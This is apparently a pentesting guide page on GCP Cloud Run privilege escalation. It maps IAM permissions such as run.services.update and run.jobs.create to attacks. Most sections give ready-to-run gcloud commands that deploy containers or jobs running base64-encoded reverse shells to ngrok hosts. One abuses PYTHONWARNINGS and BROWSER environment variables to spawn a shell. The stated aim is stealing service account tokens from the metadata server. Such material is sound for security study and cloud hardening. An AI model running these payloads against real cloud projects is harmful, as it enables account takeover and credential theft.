## Cloud Run
|
||||
|
||||
For more information about Cloud Run check:

||||
|
||||

||||

### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
|
||||
|
||||
An attacker with these permissions to **create a run service running arbitrary code** (arbitrary Docker container), attach a Service Account to it, and make the code **exfiltrate the Service Account token from the metadata**.
|
||||
|
||||
An exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) and the Docker image can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
|
||||
Note that when using `gcloud run deploy` instead of just creating the service **it needs the `update` permission**. Check an [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
|
||||
### `run.services.update` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Like the previous one but updating a service:
|
||||
|
||||
```bash
|
||||
# Launch some web server to listen in port 80 so the service works
|
||||
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
|
||||
# cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg==
|
||||
|
||||
gcloud run deploy hacked \
|
||||
--image=ubuntu:22.04 \ # Make sure to use an ubuntu version that includes python3
|
||||
--command=bash \
|
||||
--args="-c,echo cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg== | base64 -d | bash" \
|
||||
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
|
||||
--region=us-central1 \
|
||||
--allow-unauthenticated
|
||||
|
||||
# If you don't have permissions to use "--allow-unauthenticated", dont use it
|
||||
```
|
||||
|
||||
### `run.services.setIamPolicy`
|
||||
|
||||
Give yourself previous permissions over cloud Run.
|
||||
|
||||
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Launch a job with a reverse shell to steal the service account indicated in the command. You can find an [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
|
||||
|
||||
```bash
|
||||
gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--image=ubuntu:latest \
|
||||
--command=bash \
|
||||
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
|
||||
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
|
||||
--region=us-central1
|
||||
|
||||
```
|
||||
|
||||
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Similar to the previous one it's possible to **update a job and update the SA**, the **command** and **execute it**:
|
||||
|
||||
```bash
|
||||
gcloud beta run jobs update hacked \
|
||||
--image=mubuntu:latest \
|
||||
--command=bash \
|
||||
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
|
||||
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
|
||||
--region=us-central1 \
|
||||
--execute-now
|
||||
```
|
||||
|
||||
### `run.jobs.setIamPolicy`
|
||||
|
||||
Give yourself the previous permissions over Cloud Jobs.
|
||||
|
||||
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
|
||||
|
||||
Abuse the env variables of a job execution to execute arbitrary code and get a reverse shell to dump the contents of the container (source code) and access the SA inside the metadata:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
|
||||
```
|
||||
{% endcode %}

||||
